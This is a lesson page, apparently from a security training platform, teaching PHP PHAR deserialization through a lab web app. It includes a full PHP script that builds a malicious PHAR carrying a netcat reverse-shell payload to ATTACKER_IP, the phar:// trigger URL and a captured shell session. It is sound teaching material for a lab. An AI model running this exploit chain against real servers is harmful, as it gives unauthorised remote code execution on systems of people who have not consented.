Introduction to Deserialization Attacks
RCE: Phar Deserialization
Finding the Vulnerability
Let's go back and review the profile picture upload function we've ignored for now. Inside app/Http/Controllers/HTController.php:handleSettings(), we can see the following code, which handles uploaded files.
...
if (!empty($request["profile_pic"])) {
$file = $request->file('profile_pic');
$fname = md5(random_bytes(20));
$file->move('uploads',"$fname.jpg");
$user->profile_pic = "uploads/$fname.jpg";
}
...
Although the website says only JPG are allowed, there doesn't seem to be any validation on the backend, and we should be able to upload anything. However, we see that the file name is a random MD5 value with .jpg appended. We can try uploading a PHP file and see if we can get code execution that way, but we will only get an error message saying that the browser can not display the image because it is corrupted.
If we right-click on the profile picture in the navbar and select "Copy Image Link," we get something like http://SERVER_IP:8000/image?_=uploads/MD5.jpg and if we visit it in the browser, we are taken to http://SERVER_IP:8000/uploads/<MD5>.jpg
We can check out the routes in routes/web.php to see where the /image endpoint is handled:
...
Route::get('/image', [HTController::class, 'getImage'])->name('getImage');
Checking out app/Http/Controllers/HTController:getImage(), we can see that /image?_=... will check if the file exists or not and then either redirect to it or the default profile picture.
...
public function getImage(Request $request) {
if (file_exists($request->query('_')))
return redirect($request->query('_'));
else
return redirect("/default.jpg");
}
...
Given that we know we can upload any file to the server, the fact that we can control the entire path passed to file_exists is a perfect scenario for us to exploit PHAR deserialization.
Introduction to PHAR Deserialization
According to the PHP documentation, PHAR is an extension to PHP which provides a way to put entire PHP applications into an "archive" similar to a JAR file for Java. You access files inside an archive using the phar:// wrapper like so: phar:///path/to/myphar.phar/file.php.
In our situation, we can't get the server to redirect to a file within a PHAR archive since it will try redirecting to http://SERVER_IP:8000/phar://.... However, we don't need to do that to exploit this.
A PHAR archive has various properties, the most important of which (to us) is metadata. According to the PHP documentation, metadata can be any PHP variable that can be serialized. In PHP versions until 8.0, PHP will automatically deserialize metadata when parsing a PHAR file. Parsing a PHAR file means any time a file operation is called in PHP with the phar:// wrapper. So even calls to functions like file_exists and file_get_contents will result in PHP deserializing PHAR metadata.
Note: Since PHP 8.0, this PHAR metadata is not deserialized by default. However, at the time of writing this module, 55.1% of websites still use PHP 7 so this is still a relevant attack.
Exploiting PHAR Deserialization
In our example, we have an arbitrary file upload in the settings page where we can upload a PHAR archive (with the jpg extension, but that's fine) and can supply an arbitrary path and protocol to file_exists via the /image endpoint, meaning we should be able to coerce the application into calling file_exists on a PHAR archive and thus deserializing whatever metadata we provide.
Let's create a new file called exploit-phar.php in the same folder as the UserSettings.php file from before, with the following contents:
<?php
include('UserSettings.php');
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->addFromString('0', '');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new \App\Helpers\UserSettings('"; nc -nv <ATTACKER_IP> 9999 -e /bin/bash;#', '[email protected]', '$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda', 'default.jpg'));
$phar->stopBuffering();
In this file, we will generate a PHAR archive named exploit.phar, and set the metadata to our command injection payload from the last section. Running this should generate exploit.phar in the same directory, but you may run into the following error:
PHP Fatal error: Uncaught UnexpectedValueException: creating archive "exploit.phar" disabled by the php.ini setting phar.readonly in XXXXX
Stack trace:
#0 XXXXX: Phar->__construct()
#1 {main}
thrown in XXXXX on line XX
If you get this error, modify /etc/php/7.4/cli/php.ini like so and then run it again:
[Phar]
; phar.readonly = On
phar.readonly = Off
Once we have generated the exploit.phar archive, we can upload it as our profile picture.
With the file uploaded, we can copy the image link and prepend the phar:// wrapper like this: http://SERVER_IP:8000/image?_=phar://uploads/MD5.jpg. When we visit this link, the server will call file_exists('phar://uploads/MD5.jpg'), and the metadata should be deserialized.
Starting a local Netcat listener and browsing to the link results in a reverse shell:
[!bash!]$ nc -nvlp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:57208.
ls -l
total 24
drwxr-xr-x 2 kali kali 4096 Oct 19 21:38 css
-rw-r--r-- 1 kali kali 5963 Oct 19 21:35 default.jpg
-rw-r--r-- 1 kali kali 0 Oct 19 21:39 favicon.ico
-rw-r--r-- 1 kali kali 1710 Apr 12 2022 index.php
-rw-r--r-- 1 kali kali 24 Apr 12 2022 robots.txt
drwxr-xr-x 2 kali kali 4096 Oct 19 22:47 uploads
If you want to learn more about this attack, I suggest you read this paper from BlackHat 2018.
VPN Servers
Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.
All VM instances associated with the old VPN Server will be terminated when switching to
a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.
PROTOCOL
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
+10 Streak pts
Table of Contents
Introduction
Introduction to Serialization Introduction to Deserialization AttacksExploiting PHP Deserialization
Identifying a Vulnerability (PHP) Object Injection (PHP) RCE: Magic Methods RCE: Phar Deserialization Tools of the TradeExploiting Python Deserialization
Identifying a Vulnerability (Python) Object Injection (Python) Remote Code Execution Tools of the TradeDefending against Deserialization Attacks
Patching Deserialization Vulnerabilities Avoiding Deserialization VulnerabilitiesSkills Assessment
Skills Assessment I Skills Assessment IIMy Workstation
OFFLINE
/ 1 spawns left